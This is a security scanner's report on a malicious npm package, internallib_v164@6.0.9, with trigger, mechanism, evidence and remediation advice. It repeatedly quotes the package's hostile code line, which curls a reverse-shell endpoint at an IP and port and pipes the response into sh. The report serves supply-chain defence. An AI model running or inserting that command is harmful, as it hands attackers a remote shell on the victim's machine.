registry / Remote code execution / internallib_v164
internallib_v164
This report shows the evidence for internallib_v164@6.0.9. 4 of 5 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe source contains a concrete, reachable remote download-and-execute chain. Absence of an install hook limits automatic activation but does not remove the malicious runtime payload.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer imports the package and invokes command().
Impact
Remote code execution with the privileges of the consuming process.
Mechanism
curl remote payload piped to sh via child_process.exec
Attack narrative
When a consumer calls the exported command(), index.js invokes Bash to curl a remote endpoint and pipes the response into sh. This directly executes attacker-controlled remote content under the consuming process account.
AI rationale
The source contains a concrete, reachable remote download-and-execute chain. Absence of an install hook limits automatic activation but does not remove the malicious runtime payload.
Evidence
index.jspackage.jsoncheck.js
Network endpoints1
reverse-shell.sh/10.0.72.234:4444
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- index.js exports a callable command that runs a shell command.
- The command downloads from reverse-shell.sh and pipes its response directly to sh.
- The package main entrypoint is index.js, making the payload reachable at runtime.
Evidence against
- package.json contains no preinstall, install, or postinstall lifecycle hook.
- No credential or local-file harvesting was found in the inspected files.
Behavioral surface
ChildProcessShell
TrivialUrlStrings
Source & flagged code
8 flagged · loading sourceindex.jsView file
1const { exec } = require('child_process');
L2:
...
L4: console.log("svn");
L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"');
L6: return "Successo!";
Critical
1Trigger-reachable chain: manifest.main -> index.js
L1: const { exec } = require('child_process');
L2:
...
L4: console.log("svn");
L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"');
L6: return "Successo!";
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
index.jsView on unpkg · L11const { exec } = require('child_process');
L2:
High
4console.log("svn");
L5: exec('/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444|sh"');
L6: return "Successo!";
Findings
2 Critical6 High2 Low
CriticalDownload Executeindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighChild Processindex.js
HighShellindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidencepackage.json
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to internallib_v164@6.0.9.
The versions list below shows the verdict for each recorded version.
- Avoid installing internallib_v164@6.0.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.